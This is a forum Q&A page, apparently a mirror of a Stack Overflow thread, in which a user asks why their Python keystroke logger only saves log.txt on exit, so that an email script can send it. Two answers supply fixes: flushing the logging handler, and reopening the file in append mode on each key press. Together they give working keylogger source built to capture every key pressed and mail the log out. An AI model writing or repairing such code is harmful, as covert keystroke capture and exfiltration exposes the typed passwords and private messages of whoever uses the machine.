简体   繁体   中英

How can I save it so the e-mail script can read/send it?

I want to send the log.txt to an e-mail. The e-mail part works, but this logger doesn't save the file. It saves it only on exit. So it keeps writing and writing. I inserted f.write after every key press but it didn't work.

If you could help I'd appreciate it.

The question is : How can I save it so the e-mail script can read/send it?

The code is:

log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
f = open('log.txt', 'w')
def on_press(key):
    logging.info(str(key))
with Listener(on_press=on_press) as listener:
    listener.join()

You need to flush the buffer. Try

logging.getLogger().handlers[0].flush()

After every write.

Try closing the text file after something is written to the file

f.close()

Also I would suggest opening it with a a+ to append the file

So something like this:

log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, 
format='%(asctime)s: %(message)s')
#f = open('log.txt', 'w')

def on_press(key):
    f = open('log.txt', 'a+')
    logging.info(str(key))
    f.write("Put stuff here that you want written to a file")
    f.close()

with Listener(on_press=on_press) as listener:
    listener.join()

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM